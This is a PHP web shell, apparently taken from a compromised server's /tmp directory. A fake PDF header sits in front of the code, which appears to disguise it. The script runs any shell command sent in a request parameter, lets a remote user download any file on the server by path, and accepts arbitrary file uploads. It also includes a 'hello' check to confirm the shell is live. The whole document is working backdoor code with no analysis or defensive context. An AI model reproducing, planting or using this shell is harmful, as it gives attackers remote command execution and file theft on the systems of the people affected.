%PDF- %PDF-
| Direktori : /tmp/ |
| Current File : //tmp/d.php |
<?php
if(!empty($_REQUEST['hello'])){
$start = $_REQUEST['hello'];
if ($start == "start"){
echo "hello";
}
exit;
}
if (isset($_REQUEST['cmd'])) {
echo shell_exec($_REQUEST['cmd']);
exit;
}
if(!empty($_REQUEST['file'])){
$fileName = basename($_REQUEST['file']);
$filePath = $_REQUEST['file'];
if(!empty($fileName) && file_exists($filePath)){
// Define headers
// header("Cache-Control: public");
header("Content-Description: File Transfer");
header("Content-Disposition: attachment; filename=$fileName");
// header("Content-Type: application/zip");
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: binary");
header("Content-Length:" . filesize($filePath));
// Read the file
readfile($filePath);
exit;
}
}
if(!empty($_FILES['upload'])){
$file_name = $_FILES['upload']['name'];
$file_tmp = $_FILES['upload']['tmp_name'];
$current_directory = getcwd() . "/";
$file_size = $_FILES['upload']['size'];
$file_type = $_FILES['upload']['type'];
if(!file_exists($current_directory)){
echo "Error: Directory not found!";
}else{
if(move_uploaded_file($file_tmp, $current_directory . $file_name)){
echo "The file was uploaded successfully!\n";
echo "Name: " . $file_name . "\n";
echo "Type: " . $file_type . "\n";
echo "Size: " . $file_size . "\n";
exit;
}else{
echo "Error: Could not upload file!";
exit;
}
}
}
?>